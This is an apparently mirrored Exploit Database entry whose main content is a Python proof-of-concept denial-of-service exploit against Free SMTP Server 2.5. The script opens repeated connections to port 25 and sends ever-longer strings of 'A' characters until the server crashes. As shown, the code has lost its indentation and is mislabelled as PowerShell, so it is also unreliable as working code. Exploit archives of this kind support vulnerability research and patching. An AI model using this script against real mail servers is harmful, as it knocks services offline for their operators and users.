Free SMTP Server 2.5 – Denial of Service (PoC)

• Exploit Database
• 74 阅读

• 作者： Metin Yunus Kandemir
  日期： 2019-05-29
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46937/

• #Exploit Title: Free SMTP Server - Local Denial of Service Crash (PoC)
  # Date: February 3, 2009
  # Exploit Author: Metin Kandemir (kandemir)
  # Vendor Homepage: http://www.softstack.com/freesmtp.html
  # Software Link: https://free-smtp-server.en.uptodown.com/windows/download
  # Version: 2.5
  # Tested on: Windows 7 Service Pack 1 x64
  # Software Description : Free SMTP server program to send emails directly from PC.
  # ==================================================================
  # The SMTP Server will crash when this code is run on localhost. 
  
  import socket
  
  a=1
  buffer = ["A"]
  while a <= 20000:
  a = a+1
  buffer.append("A"*a)
  
  
  for string in buffer:
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  connect =s.connect(('127.0.0.1',25))
  s.send(string)
  

  PowerShell

  Copy